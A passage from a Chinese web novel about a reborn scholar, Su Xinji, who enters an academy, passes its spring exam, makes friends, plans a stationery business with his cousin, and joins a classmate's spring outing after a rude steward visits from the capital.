这话也是好意,提醒苏辛集不要受点挫折,就垮了。这个苏辛集倒是能理解,前世他在村里读的初中,是全村人的骄傲,后来以全校第一,全县七十三名的成绩进入县重点高中,当时全县前八十名都是免学费的,第一次月考,他就深受打击,成绩在重点班垫底。如今在遇到类似的事情,苏辛集是绝对有心态和能力应对的。
“这边是讲堂,外舍学子主要就是在这里听课,平日内舍学子偶尔也会来。”李训导边说边走,他指着不远处:“那边是教习和训导们的书房。”
办公室呗,苏辛集秒懂。绕过这个院子,是个不大的假山流水景观。
“那边是集贤馆,是学子们辩论交流,互相学习的地方。对了,还有藏书阁,你若得闲,可以经常去,外舍学子,可以同时借阅两本书,期限三个月,内舍学生是五本书。若是毁损,得双倍赔偿。孤本、珍品不可外借,只能在藏书阁中翻阅,每次最多一个时辰。”
苏辛集点头,这个学院,还真是大手笔。古代不少书都是手抄版,很稀缺,家境一般的学子,最多也就是买一些考试必背书籍,其他古籍杂文,也只能去书局偶尔翻番。动辄上百两银子的书,让不少学子都望而却步。
藏书阁的存在,让很多跟苏辛集一样学子,有更多读书的机会。
“这里是膳房,你可以跟其他同窗一起来。”李训导介绍的很细致,苏辛集瞥了一眼,里面的厨师、厨娘各司其职,分工有序,看着倒还不错。
再往前走,便是宿舍,不少学子看到李训导纷纷过来行礼。苏辛集有些纳闷,这个点儿,不应该是在听课么,怎么有这么多人逃课?
李训导看出苏辛集的疑惑,解释道:“内舍学子可以自由选择听课内容,甚至不拘泥学习形式,去集贤馆、藏书阁都是可以的。并不是非得听大儒讲学才算学习。”
苏辛集点头,这个他明白,学习是一种自学的能力,内舍学子可以选择最适合自己的形式。
“李训导,那什么样的人,才能成为内舍学子?”苏辛集问道,既然来了,那肯定是要力争上游。
“呵呵!”李训导眼神中只有四个字:你想多了!
“你就暂时不用考虑了,等过了院试再说吧。”
第四十二章 书院同窗
倒不是李训导傲慢,而是内舍松散的状态,如果真的放低门槛,那就是对所有学子们的不尊重!
也就苏辛集有些无奈,李训导似乎注意到苏辛集的表情,又多解释了一句:“就算是成为内舍学子,接连三次月考不过关,也必须去外舍。咱们学院近千人,内舍的位置只有七十二个。内舍中也是分层次的,这些你日后就知道了。”
是说,全学院前七十二名才能享受到一系列优待?
怪不得……
“这边,是外舍学子的宿舍,四个人一间房,内舍是两个人一间房。这边应该是还有两个铺位是空的,你去选一个吧。”李训导把人送到宿舍,也就算完成任务了。剩下的事情,苏辛集只能靠自己了。
苏辛集草草收拾了下行李,又开始打扫卫生,随后便去了膳堂用餐。苏辛集恰好赶上下课高峰,不少人都在排队打餐,西北角的窗口引起了苏辛集的注意。
“兄弟,我是第一天来,请问那边为什么人那么少啊?”苏辛集拍了拍前面排队的人。
对方打量了下苏辛集:“那边是小厨房单做的,有几个菜味道不错,唯一的缺点就是价格贵。咱们这边是大锅饭,味道比不上,但还算是实惠。”
苏辛集点头,哪里都有人搞特殊,这很正常,当然人家有银子,享受生活无可厚非。苏辛集插画已经有稳定收入,下一步话本子也会分成,他完全可以去吃小厨房做的,只是觉得没必要,这才跟着大家一起排队。
恰好前面的同窗也是个热情的,苏辛集便和他们坐在了一起,一顿饭下来,倒是了解了不少关于书院的事情。
同窗名叫叶墨轩,已经在书院学习了三年。
“你能来参加春试,是有推荐信的吧。”叶墨轩问道。
“我通过了县试,爷爷推荐我来这里。”
听到苏辛集的爷爷能写推荐信,叶墨轩对苏辛集又热情了三分。
“嗯,既然通过县试,估计你至少能分到丙班。”
原来外舍学子是分甲乙丙班的,叶墨轩用了一年时间从丁班升入丙班,又花了两年从丙班升入对乙班,外舍乙班的学员,大多数都有通过县试的能力。甲班甚至有不少人已经通过府试、院试。
书院的考试很多,几乎是半个月一小考,一个月一大考。若是三次成绩都不理想,则会被要求降低班型,比如从丙班降到丁班,当然若是能拿到名次,犯罪得到大儒们的奖励。
“那如何才能升入内舍?”这个问题苏辛集刚才问过李训导,不过对方没有正面回答,他只能再问问叶墨轩。
“内舍?这个得看天赋的,先要升到甲班,然后甲班连续三次考试,均是前五名的人,可以申请参加内舍考试,通过者,就可以成为内舍成员了。”
“那是不是意味着,有人要退出内舍?”苏辛集知道,内舍有七十二个席位,有人进来,就意味着有人出去。
“对,也算是给内舍学子一点压力吧。”旁边的一个胖书生回应道。刚才苏辛集二人说话,胖书生一直在埋头苦“吃”,这会儿吃的差不多了,才开始加入聊天。
“毓闵,哪里是一点压力啊,分明是亿点好吧!”叶墨轩白了一眼胖书生。
“好好,你说的都对。这么说吧,内舍中,至少有三分之一的人,是有资格成为举人的。”
苏辛集一怔,眼神中满是不解。
叶墨轩笑着道:“呵呵,你是想知道他们为什么不去参加考试,然后一路向上对吧?”
“这有什么好奇怪的,不是所有文人都喜欢做官。在内舍多好,衣食住行都免费,还可以带伴读进来,学院的规则也不是约束他们的,留在学院里做学问,也是极好的啊。”胖书生梁毓闵一脸羡慕的说道。
“还可以带伴读?”苏辛集点头。
“嗯,能进入内舍的基本都是非富即贵,很多人都需要有伴读照顾他们的饮食起居,你是不知道,有人的伴读,还是咱们外舍的同窗呢。”胖书生梁毓闵压低声音八卦道。
“先别说那些,当务之急,是先要通过春试!”叶墨轩有意岔开话题,似乎不愿意多说,“你反正已经通过县试,学院的春试对你来说问题不大,你可以提前准备准备,藏书阁有一些相关资料,你可以拿我的借阅卡去看看。”叶墨轩递过来一张卡片,上面有一些基本信息。
“不过书你是借不到的,我已经借了两本。你可以在里面看,也可以在自己的书上做笔记。”叶墨轩解释道。
“多谢叶兄。”苏辛集连忙道谢。
“客气啥,说不定你就被分到我们班了。”
“对了,我有个亲戚,跟我一起来的。他也是想要学点东西,开开眼界,你们知道附近什么客栈比较合适?”
“你算是问对人了,我家有个豆腐坊,正好需要人手,你亲戚要是不嫌弃,可以去我家豆腐坊干,包吃包住,一个月五百钱,若要是学会了,以后也可以自己干。”胖书生梁毓闵倒是很大气。
“好,那就有劳梁兄了。我亲戚今年十四,读过些书,认字算账都没问题。”苏辛集目前还没办法把苏辛伟带进来,但要是让他一个人住客栈也不放心,现在能去同窗家的产业,那就最好了。
“行,这样,我写封信,回头你让他直接去一口鲜豆坊就行。”梁毓闵道。
苏辛集顺手从书篮里拿出纸和笔,递了过去。
“你这笔倒是奇特,如何沾墨?”梁毓闵从未见过炭笔,新奇的问道。
“直接写就可以。”苏辛集内心不由得感叹,这有啥奇特,若是能搞到铅,做些铅笔就更好了。
“嗯,这笔你从哪里买的?确实省事儿,走到哪里都可以写写画画。”
“我自己做的。”说着,苏辛集从书篮里拿出了十根炭笔,给他们各分了五支。
“多谢。”
众人又闲聊了一会儿,这才各自离开。
第四十三章 井底之蛙是我咯!
苏辛集出了书院,看到不远处的苏辛伟四下张望,像个茫然的孩子一般,苏辛集难免有些心酸。
小地方来的人,终究是不够自信。
“小伟。”苏辛集招呼着,苏辛伟听到,立马小跑过来:“辛集哥,怎么样?”
“一切顺利,我跟同窗一起用的膳食。不是让你先去找个地方吃点饭么?”
苏辛伟一听,连忙道:“我娘给带了不少干粮,我担心你出来找不见我,我就一直在这里等着。”
苏辛集点头,两人一边走,一边聊着学院的事情。
“我有个同窗,家里是开豆腐坊的,经常会给学院送豆腐,正好他家缺伙计,你先去他家干,吃住什么的都不用管,回头等我升入内舍,就有带伴读的资格了。你先在豆腐坊好好干,回头要是想回家了,我就帮你开个豆腐坊,也算是个营生。”苏辛集把梁毓闵写的信交给了苏辛伟。
“不,三哥,我要一直跟着你混。”苏辛伟来之前,万氏就千叮咛万嘱咐,让她一定好好照顾苏辛集,抱紧大腿。
“呵呵,那等过一阵子,我带你来的书院学习。对了,你有空再给我做些炭笔,同窗们都很喜欢。”其实,刚才看到叶墨轩他俩的反应时,苏辛集就想到了个好营生,在书院里开个文具店,正好可以让苏辛伟做,只是现在时机不成熟,若苏辛伟能在豆腐坊坚持下来,后面有机会就把他带到学院。
回到书院,苏辛集马不停蹄的来到藏书阁,正所谓临阵磨枪,不快也光。他可不想错过任何提高的机会。
三日后便是春试,苏辛集有些懊恼,早知道学院可以提前进来,就应该早点来报到,多学几日,也好。实际上他在家里也一点没闲着,画了一整套插画册子小样,若是早来,可能就没时间画了,只能说凡事都是有舍有得。
时间眨眼就过去了,春试当天。
苏辛集拿到考题,倒是不陌生,但他也不敢大意,这里可不是山阴县,书院高手如云,必须要仔细,若是不能脱颖而出,那何时才能进入内舍?
前世,苏辛集就是卷王,一路卷到博士,要不是猝死,他恐怕还会在学术道路上一路卷下去。
也就是一个时辰,苏辛集便交卷了。他揉了揉发酸的手腕,恭敬的将试卷递给夫子。因为参加春试的人不多,都是当天出成绩的。
苏辛集稳稳通过,跟叶墨轩推测的一样,被分到了乙班。确定下班级后,苏辛集就有了自己的学生证和借阅卡,苏辛集把借阅卡还给叶墨轩的时候,又特意送给他了一些文创产品,比如笔筒和书签,都是苏辛集说的想法,苏辛伟闲暇时间做的。
“上次就想问你,你那些炭笔,还有这些小玩意,都是自己做的么?”
“对啊,闲来无事,我和弟弟一起做的。小伟以前学过木匠活儿。”
“那你弟去做豆腐屈才了,要是能量产,这些小玩意肯定受欢迎的。”叶墨轩笑着道。
“量产暂时做不到,不过稍微做几个咱们玩玩还行。”苏辛集知道,也就是在书院附近,才有这个市场,真要售卖,还得等自己进入内舍,把小伟带进来,否则自己还得花时间做销售。
对于苏辛集来说,这些都是末道。
科举考试才是正道!
考试成绩出来,苏辛集的名次还不错,参加考试人员的前十名。
“苏辛集,你随我来。”
苏辛集跟着夫子到了书房,其他夫子都去上课了,这里倒是安静。
“这次考试,你都是自己写的?”夫子怎么也不敢相信,苏辛集能把课文进行深度分析,这可不是一般人能做到的。
“对,都是我自己做的。”苏辛集点头。
“苏辛集啊,无知不可怕,可怕的是根本不觉得自己有错。看在你是初犯,再给你一次机会,说吧,到底是不是你写的?”
“真的是我。”
“那好,你既然如此自信,那老夫就考考你。《孝经》开宗明义中,全书总纲,核心句是哪一句?”
这个问题带着赏析的意思,苏辛集到底是凭本事进来的,还真是作弊,一考便知!
苏辛集想了想道:“身体发肤,受之父母,不敢毁伤,孝悌之始。立身行道。扬名于后世,以显父母,孝之终也。”
“短短十几个字,就说了不想让父母担心,更不会做有辱门楣的事情。这是孝道最基本的要求。苏辛集见夫子点头,一下子把高度提声了两高度:“士君子修身以报国,忠君以济世。才是真正要表达的主旨。”
夫子心中大喜:“哈哈,没想到啊,井底之蛙还是我咯!”
苏辛集笑了笑,没有多说什么。
“苏辛集,你启蒙多久了?”
“三个月吧,我也没有具体数过。”苏辛集倒是没吹牛,也就是三个月,虽说这次勉强通过了春试,但估计还是有很多不足之处。不然夫子也不会质疑。
“很好,外舍乙班。你去收拾下,准备听课吧。”夫子的话中,带了几分温度。
刚回到讲堂,苏辛集还没来得及跟叶墨轩打招呼,就有人凑了过来。
“呵,会背算什么本事?”
一道不太有好的声音,传入耳中。叶墨轩见到苏辛集来乙班,刚跑过来,就看到有人来者不善。
叶墨轩往后缩了缩,小声介绍道:“辛集,他是王瑞岭,父亲是举人,家里有些能量,你不要惹他。”
苏辛集不以为然,人不犯我我不犯人,人若犯我我必还之!
“给你个忠告,想要在仕途上有所建树,必须要能活学活用,你就知道背范文,能有什么用?”
王瑞岭一看就不是个省油的灯。
“叶墨轩,提醒你一句,跟他混,没好处的。”
叶墨轩神色有些不自然,不过他最终还是战胜了心中的胆怯:“要跟谁交朋友,那是我的事情,就不劳王兄费心了。”
王瑞岭冷哼一声,就在他转身,准备离开的时候,苏辛集突然开口了:“听闻瑞岭兄去年就已经中了秀才,不去内舍,怎么,是不想么?”
第四十四章 相约出游
内舍只有七十二个席位,还有诸多福利,当然是所有学子心中的圣地。岂有不想去的?
因此,王瑞岭听到苏辛集的话,就感觉到脸上一阵火辣。
“你!”王瑞岭的胸膛上下起伏,他瞪着苏辛集,浑身都在颤抖。
“瑞岭兄有何赐教?”
苏辛集眯起眼睛,盯着王瑞岭。
叶墨轩有些担忧,“他父亲可是署理知县,若是真的闹起来,怕是不好。”
苏辛集的爷爷虽然也是举人,但身体病入膏肓,也就剩下点余威了。跟正当年的王知县肯定是比不了的。
“那若是我们能进入内舍呢?”
进入内舍,就意味着能得到来自书院的庇护,自然不用惧怕一个署理知县。
“能进入内舍,固然是不用怕的。”叶墨轩想了想还是把后半句咽了下去。
两人交谈,梁毓闵站在一旁,并未开口。见他们说起内舍,这才插嘴道:“你们已经够勤勉了,想来下次月考,是能有所提升的。说点开心的,春假马上到了,宋文杰还说要一起出去走走,要不咱们跟着去散散心?”
梁毓闵看着近日苏辛集连夜苦读,如今又跟王瑞岭对上,担心苏辛集钻牛角尖。
“哎呦,我怎么把春假的事儿给忘了,辛集,咱们一起去吧。左右有十天假呢,出去散散心也好。”叶墨轩会意,连忙相邀道。
苏辛集哪能看不出好友的善意,笑着道:“既然如此,那便一同去吧。”
见苏辛集答应,叶墨轩二人开心的笑了起来。他们都清楚苏辛集在家中的处境,父亲早亡,大房、二房都有意打压,爷爷又病入膏肓。苏辛集的压力可想而知,之所以想让苏辛集跟宋文杰一起玩,主要也是因为他们处境相仿,很多事情能感同身受。
宋文杰的父亲是户部尚书,上面有三个哥哥,他是庶出,母亲出身低微,早些年便被送到这里来读书,一年到头也不能回京。宋文杰本人倒是随和,学问也做的不错,周围倒是有不少朋友,梁毓闵跟他是同一个寝室的。
时间转眼就到了春假,宋文杰这边有三人,加上苏辛集三人,一共是六人。一般的马车坐不下,宋文杰便让自家车夫过来接。
学院门口不远处,十几辆马车车夫见到有学生出来,都凑了过来。
“几位公子,要坐马车么,我的马车可是新买的,若是包车,还可以优惠的。”
“公子要去府城么,我跑一趟只需要四十文。”
“公子,我的车随时可以出发,去府城只需要三十五文。”
听到车夫的吆喝,苏辛集有些恍惚,突然想到了重生前的家庭,父亲就是靠着当出租车司机,养活了他们一家四口,如今不知道父母过的如何……
“不用,不用,我们的马车到了。”宋文杰客气的拒绝道。
“少爷,我来晚了。”车夫跳下车,有些歉意的看向宋文杰。
“无妨,是我们早出来了些,这些都是我的同窗好友。”
叶墨轩等人显然是认识车夫的,纷纷打招呼:“王伯好。”
王伯的视线落在苏辛集身上,“这位是……”宋文杰笑道:“瞧我,都忘了介绍,苏辛集,春试刚考进来的,是山阴县的县案首。回头你让刘妈收拾一个房间出来给辛集住。”
苏辛集一听,刚想拒绝,王伯就爽快的答应下来。少爷很少邀请人来府中过夜,这个苏辛集能参加春试,至少是举人推荐,想必家中也是有些背景的。年纪轻轻便是县案首,想必在读书方面也是有天赋的。日后说不定会成为少爷的左膀右臂。
要是在京城,王伯肯定不会如此焦虑,如今小少爷已经来书院第五个年头了,期间老爷只叫他回过一次京城,这个形势,老爷怕是已经把小少爷给忘了。
一行人上了车。
宋文杰笑这道:“辛集,忘了提前问你了,我想着你刚从家里来,应该是不会马上回去的,就自作主张邀请你来我家小住几日。”
其实倒不是宋文杰忘了,而是他们几个人都担心苏辛集多心,刻意想要保护他的自尊心,才会如此说的。苏辛集猜到他们的意思,便笑着道:“我正愁没地方去呢,既然宋兄邀请,我求之不得。”
“那便好,今天到了府城,大家先回家,辛集你就住在我家。明天一早,咱们去慈安寺,据说那边许愿特别灵。还供奉着文曲星,不少学子都会去许愿的。正好这几日天气不错,咱们一起爬爬山。在寺中住上一日,再下山。”
众人听到宋文杰的安排,连连点头。
这次出游是宋文杰邀请的,行程安排都是他负责的。
“辛苦宋兄了。”苏辛集说道。
“虽说读书要紧,但也要劳逸结合。咱们几个也算是投脾气,辛集,跟我你就不要客气了。若是需要什么,可以直接跟王伯说。我从小便是王伯看着长大的。从京城来这边的时候,没人愿意跟着过来,也是王伯主动请缨,带着一家老小来照顾我的。他是我的管家,也是我的亲人。”宋文杰多说了几句。
苏辛集点头,很幸运能在学院里交到一群朋友。其实来到书院,苏辛集最大的收获,反而不是学术上的,而是结交到了这些志同道合的朋友,这里的氛围感,是独有的,也是最吸引人的地方。
到了府城,众人便各自回家,苏辛集顺便去了趟豆腐坊,见了见小伟。小伟得知苏辛集还有春假,羡慕不已。
“小伟,这次春试成绩出来了,并不算特别好,我现在在外舍,若是我能考进内舍,你也可以跟我进书院学习的。”苏辛集看出小伟眼中的羡慕,笑着说道。
“三哥,我在这里就很好,掌柜的很照顾我,你不用担心。其实我也不是个学习的料,在这里还能学门手艺,也挺好的。”苏辛伟知道这里竞争激烈,不忍心给苏辛集压力:“对了,我休息时做了几样小玩意,等下拿给你,也不知道是不是你要的,图纸上有些我也看不太懂。”
“呵呵,我跟你一起去看看。”
第四十五章 京城来人
来到苏辛伟的卧房,看到桌子上的东西,苏辛集眼前一亮。
“这个旅行文具箱做的还真是巧妙。”苏辛集感叹道,他画的图纸只是个大略构思,苏辛伟不光照着做出来,还加了一些创意,确实很新颖。在这种文具箱很适合出游,可以随时随地打开当炕桌,用以题诗赋词,箱内设计的多层宝阁,能放不少文具,每个器具都有固定的位置,箱盖还有镀金暗锁,钥匙孔设计在箱子底部,周围八角用铜鎏金薄片包钉。
前世,苏辛集在博物馆见过这东西,是乾隆年间的手工艺品。他只是根据记忆,大致画了个图,没想到苏辛伟竟然就这么做出来了,要说区别,可能也就是木料了,乾隆年间的那件藏品,是用的紫檀木,而苏辛伟这件用的是榆木。
苏辛集拿出放在旅行文具箱里的炭笔,“这些也做的比以前好了,竟然在炭外面包了木头,费了不少功夫吧。”
之前苏辛集无意中提到,炭笔好是好,就是容易脏手,若是外面包一层木头,随用随削就好了,没想到苏辛伟就真的做到了。
“我也是瞎琢磨的。三哥你试试,我也不会画画,你看看好用不。”
“看得出来,费了不少心思。”苏辛集想了想道:“这样,你先核算下成本,给我报个价。有空的时候,找找合适的木材,等日后要是能能进学院,这些东西肯定是供不应求的。”
苏辛伟眼睛一亮,若是真的能在学院附近经营个文具铺,那过两年说不定比二房的药铺还赚钱呢。
“三哥,你是说这些东西,能卖到书院?”
“当然,你自己提前先做,回头等手艺成熟了,咱们可以找加工厂代工。”苏辛集摸着下巴道。
“代工?”苏辛伟一愣,不清楚是什么意思。
“哦,就是让木匠帮忙做,不然就靠你这一双手,能做多少出来?”苏辛集解释道。
“那倒是,我做这一个少说也得十几天。若熟练工的话,兴许五天能出一个。” 苏辛伟挠了挠头:“可若是让别人看见咱们的设计图,再仿制出来卖,那咱们怎么办?”
“不会,这东西放到大街上寻常百姓也不会买的。就在书院旁边,或者是京城那种繁华的地方,才会有销路。销售渠道拿在手里,代工厂就玩不出花样。”
苏辛伟茫然的点了点头,跟着三哥,每次都有新的收获。也不知道三哥怎么会有这么多奇思妙想。母亲的安排还是很对,自己这身木匠手艺活,跟着三哥才能发挥出价值。之前跟着师傅,总是做千篇一律的东西,苏辛伟只觉得很厌烦,但又不知道该如何改变。
跟着三哥来到府城的这几日,苏辛伟感觉特别新奇,周围都是没见过的东西,做豆腐也带来了全新的体验,即便是往日这些令他反感的木匠活,如今也变得有趣了。
“行了,我还有事儿,得先走了。这里是十两银子,你先拿着。”苏辛集扫了一眼价格表,估算了下,成本差不多在六两银子上下,若是能量产,成本至少还能下降三成。
“不用不用,我这里还有。”苏辛伟不好意思收。
“你先拿着,这是让你做手工活儿的,买材料总要花钱的。你也别不舍得,材料还是要用好点的,这些东西,买一个也许就要用十几年,质量要有保证。”苏辛集想了想:“你可以先记账,等年底生意有起色,你的那份另外算。”
“三哥。”苏辛伟一时间不知道该说什么好。
“你娘把你托付给我,那肯定是希望你做出点成绩的,好好干,日后进了书院,你若是想读书,还有机会,若是想经商,这也是条路。趁着年轻,多接触些行业,才能明白自己的兴趣和能力究竟能到哪里。”
苏辛集拍了拍小伟的肩膀:“好了,我先走了。”
苏辛集在这里跟苏辛伟聊天,宋文杰则是跟梁毓闵在前厅。苏辛集拿出好些文具,分给了梁毓闵感谢他对小伟的照顾。
梁毓闵开心的收下,还邀请他们在家吃完饭,宋文杰知道家里已经准备了晚饭,便婉拒了。
上了马车,苏辛集把文具箱送给了宋文杰,来而不往非礼也。
“真的是送我的?辛集,这文具箱真是太别致了,京城都没有卖的。”
苏辛集掀了掀嘴角,当然不会有,这玩意可是乾隆年间的创意,大昭朝怎么可能有?
“我也是偶然有了想法,让我弟试着做的,没想到比想象中的精致些,可惜这木料不够好。若是檀木,那就有传承意义了。”
“檀木?回头我让王伯去问问,我记得父亲认识给朝廷特供檀木的商人。”
“也不着急,我现在手里也没有太多银两。”苏辛集知道檀木的价格,想要大批进货,还得等书稿的分成到手才能考虑。
“嗯,我知道。”
宋文杰端详着文具箱,心中有了算计。
宋府。
别看这边院落不小,但算上宋文杰,一共还不到五个人。除了王伯,还有一个丫鬟,一个从小照顾宋文杰的刘妈,还有一个临时帮厨,只有遇上场合,才会叫他来。
今日也是知道宋文杰要招待同窗,刘妈特意叫帮厨来帮忙,没想到最后只来了苏辛集和叶墨轩两个人。
叶墨轩本来是想回家住的,担心苏辛集一个人在宋府不习惯,便找了个由头过来蹭饭。
“文杰,这也太丰盛了吧?叫王伯一起来吃?就咱们三个,吃不了的。”叶墨轩知道宋文杰跟王伯关系不一般,便主动邀请道。
“不用,王伯说京城可能要来人,需要去城门迎一迎,他随便吃点就去。”宋文杰说话的时候,眉间带着一抹浓浓的愁意。
心细如尘的苏辛集注意的后,试探着问道:“京城来的人,是要接你回去的?”
“怎么可能?”宋文杰苦笑了下,自嘲道:“他们每次来都没好事,夫人巴不得我死在这里,怎么可能让我回去?”
第四十六章 刁难
说话的功夫,一位身着锦缎的中年人从外面走了进来。
看到苏辛集和叶墨轩二人,中年人眼中的不屑更浓了。他转头看向身后的人道:“老王,让你们好好看着小少爷,你就是这么看的?怎么能让这些市井之人来府上?”
王伯有些尴尬的解释道:“周管家,这二位都是小少爷的同窗,不是市井之人,今儿也是第一次到家里来,您有什么话好好说,小少爷还在这里呢!”
怎么说,也得给小少爷宋文杰留些面子吧?!
三管家冷笑了下,却没有丝毫要收敛的样子。他苛责道:“夫人让小少爷回来,是为了他能静心读书,不受凡尘所扰。你倒好,怂恿他结交狐朋狗友?”
“不敢不敢!”王伯听到后,连连告罪。
这一幕就发生在眼前,宋文杰袖中的指甲深深陷入肉中,眼中的怒火达到顶峰的瞬间,他深吸了一口气,随后情绪便被很好的隐藏起来。苏辛集注意到,心中感慨不已,看来豪门公子也不像表面那般风光。宋文杰这份养气的能耐,根本不是一日之功。
宋文杰走到门口,笑着道:“周管家,快进来吧,外面冷,仔细冻感冒了。”
周管家听到宋文杰的声音,这才微微拱手:“小少爷,抱歉,打扰到你了。我刚才也是代夫人问话。”
“哪能啊,我朝思暮想的,就盼着能见到周管家呢。不过,教训下人的事情以后还是让我来吧,免得周管家劳心费神的。让您百忙中抽空跑一趟,该是我说抱歉才是!”宋文杰笑着道。
见到宋文杰如此识趣,周管家满意的说道:“这不正赶上春假,夫人让我来看看小少爷,顺便带些东西来,小少爷随我来看看吧!”
宋文杰听到也没多说,跟着周管家来到马车前。
“这月例还真不少啊!”宋文杰一打眼,便看出数量有多。
“小少爷,京城到此地路途遥远,一个月一次确实有些费事儿,从今年开始,便是一季来一次。您若是有什么需要,可以跟送东西的车夫说。”周管家就是故意的,宋家在府城是有产业的,即便是不来给宋文杰送月例,宋家也得每个月派人来一趟。以前他们还愿意顺便过来,大概是见老爷子不闻不问,连装都不愿意装了。
“周管家,这宣纸怎么跟之前的不一样了?还有这墨,也不是徽州出品……”
饶是宋文杰脾气再好,也有些忍不住,家里就算是再冷漠,读书方面一直还未曾苛刻,如今这个局面,肯定又是夫人作怪。不然光凭一个周管家,还不至于如此。
“小少爷,您心里要是有什么不瞒,可以回去跟老爷子说。不是我夸口,就您这两位同窗,怕是连这种品相的笔墨纸砚,都用不起呢!”
周管家夹枪带棒的,丝毫没把苏辛集和叶墨轩放在眼里,叶墨轩苦笑了下,心中暗道:抱歉,你还真看走眼了!
人家苏辛集的文房四宝,最是与众不同,怕是很多京城子弟都没见过呢!
就说炭笔吧,出门用是极方便的,省去了研墨的功夫,随用随写。还有这次送给宋文杰的文具箱做工就更是精妙,所有东西都可以收纳其中,最绝的是出门还可以当小几用。
瞧不起谁呢!
“呵呵,我不过是随口一问,周管家旅途劳顿,难免有些乏累,我已经提前备好饭菜,不如进去吃些,歇歇脚?”
“不必了,小少爷,咱们主仆有别,这礼数不可废。你若是没旁的事儿,我便回去复命了。”周管家高傲看着宋文杰,不知道的还以为他是主子呢。
宋文杰深吸了一口气,知道这是周管家有意敲打,若是生气,便是中了夫人的计。现在自己实力不够,不能跟家里翻脸。
“对了,小少爷,忘了告诉您,大少爷这次凯旋归来,龙心大悦,加官进爵。你就算是能力不济,也要跟大少爷多学着点,不求你能光耀门楣,但至少也不能结交些蹭吃蹭喝之人,丢了咱们宋家的脸面!”
周管家阴阳怪气的,丝毫没把宋文杰当小少爷看待。
宋文杰也算是明白过来,周管家为何会这般嘴脸,合着夫人觉得大少爷出息了,挤兑其他庶出,父亲也会睁一只眼闭一只。
送走周管家,宋文杰回头看向两位同窗:“抱歉,见笑了。众人都羡慕我有个在京城做大官的父亲,殊不知我却从未得到过普通人家父子之间的温情。大哥如今凯旋,父亲怕是更想不起来,还有我这个小儿子了。”
“宋兄,其实刚才周管家说的是有道理的。我以前在家的时候,莫说是这等笔墨纸砚,就连入学堂的机会都没有。二房家的两位堂哥为了戏弄我,大冷天把我推下湖水,若不是命大,我根本没机会站在二位面前。若不是这次我中了县案首,来书院读书的机会,根本轮不到我!”
苏辛集郑重其事的说道。
叶墨轩跟着安慰道:“是啊,三十年河东,三十年河西。文杰,想必宋大人是不知道这些的,岁末的院试你好好努力,事情总会有转机的。”
“借你吉言吧,走,咱们去吃饭!不能让这些腌臜人扰了兴致!”说不生气是假的,宋文杰在朋友们面前,总还有几分真情流露。
落座后,宋文杰说起了明日的行程安排,见提起骑马,苏辛集面露难色,便细心的问道:“辛集,忘了问你,可会骑马?”
苏辛集摇了摇头:“未曾学过。”
这个回答,宋文杰和叶墨轩并不意外,苏辛集父亲早亡,孤儿寡母的一直受大房、二房的打压,未曾学过骑射很正常。
“辛集,你是有所不知,想要进入内舍,礼、乐、射、御、书、数这六艺,必须要精通。圣上喜欢骑射,甚至坊间传言,不能骑射者,不能为京官。”叶墨轩知道,苏辛集把进入内舍当成小目标,所以便有意无意的提醒他,骑马是必修课。
第四十七章 这位公子,敢问贵姓?
潜规则?
苏辛集感叹,这些人也太舔了吧?当官考量的是能力、品行,又不是围猎……
“家中的马都有些烈性,第一次骑行,怕是有些困难。要不这样吧,我让王伯借一头走骡,辛集,你若是不嫌弃,明日可以尝试下。”
苏辛集听说过走骡,就是专门调教,供人骑乘的骡子。特点就是走得快、步子稳。多数是母马配公驴的杂交。苏辛集还记得《红楼梦》中就有过相关描写,没想到自己这么快就有缘尝试。
叶墨轩很贴心的说了些骑骡子的要点,苏辛集一一记下。
次日,其他人一大早就到达了指定地点,他们家里都养着马匹,有的是小厮们送来的,有的是管家跟着,见几人汇合,这才放下心。苏辛伟听说,三哥要骑驴上山,心中很是担忧,特意跟掌柜请假,要跟着一起上山,照顾苏辛集。
梁毓闵也担心苏辛集不适应,便答应带上小伟。
一路上,不少人都纷纷侧目,原因无他,就是因为有人在马群中骑得骡子。偏偏这人生的还颇为俊俏。
苏辛集不以为意,骑马而已,自己早晚会学的,谁是生下来什么都会的?
约莫有大半个时辰,几个人来到山脚下。宋文杰回头冲着驾车跟在后面的王伯道:“王伯,你就送到这里吧,我们自己拿行李山上。”
“不合适,小少爷,要不这样,我找人看着马,我跟你们一起上山?”
“不用,我们都是大人了,再说这么多人呢,可以相互照应。”
“是啊,王伯,您就放心吧。我们也不是第一次来了!”
见几个孩子执意坚持,王伯叹了口气:“那好吧,我就在这里等你们,说好昂,三日内必须下山的。小伟,你跟着他们,多照看着点,若是有什么事情,马上来这里寻我。”
王伯知道,年轻人不愿意他这个老头跟着,便只能嘱咐苏辛伟。
“知道了,王伯。”
“放心吧,我们都会小心的。”宋文杰安排妥当,就跟着同窗好友一起上山了。
赶上春假,一路上碰上不少年轻人都是出来踏春的。本朝风俗,女子只要有家人陪同,也是可以出门留宿的。像谢嫣儿那般,带着婢女出门,母亲也没直接反对过,苏辛集内心还是个现代人,他也支持女性多出门,见见世面。只是不知道,她到底隐藏着什么秘密……
“今天人不少,咱们得加快些脚步,不然灵气就要被人抢走了!”宋文杰的声音,把苏辛集拉回现实。
“是啊,我爹也说,许愿要赶早。”梁毓闵附和道。
苏辛集看着几人急促的模样,加快了脚步。幸亏前阵子在家,缠着谢嫣儿学了些拳脚功夫,虽然打架可能是个半吊子,但体力确实提高了不少。苏辛集下定决心,还得接着练起来,功夫不能荒废。
很快,一行人来到寺庙门口。
苏辛集有些意外,通往寺庙的几条小路上,都有摊贩摆摊售卖。有的是卖香囊、发钗的,有的则是卖炒花生等小零嘴的,不断吆喝的售卖声给这里平添了几份烟火气。
“大家都跟紧点,这里人多,别走散了。若是真的走散,咱们在后面的迎客松前集合。”宋文杰说道。
苏辛集提前做过攻略,迎客松是这里的一处打卡圣地,站在迎客松的位置,能俯瞰大半个府城,风景极好。苏辛集甚至暗想,若是拿个画架子,在那个位置画速写,估计能赚不少米。
当然,现在的苏辛集不用摆摊赚这些小钱了,家里有谢嫣儿画插画,自己的话本子马上也有进项,小伟的文具店若是能顺利开到学院里,自己还用得着操心钱的问题么……
“辛集,你小心点。来许愿还是有些讲究的,若是有人许愿朝拜,你可不能从他前面经过,若是碰上脾气暴躁的,兴许要跟你动手呢。”梁毓闵见苏辛集有些走神,轻轻拉了苏辛集一把,免得他在不知情的情况下得罪人。
“哦,我还真没注意。”苏辛集点头,表示记下来了。
“还有,这里的门槛,千万不能踩踏,只能跨越。但蒲团,又是不能跨越的。”梁毓闵又碎碎念了许多的注意事项。苏辛集面带微笑,“毓闵,你且放心,我都记住了。”
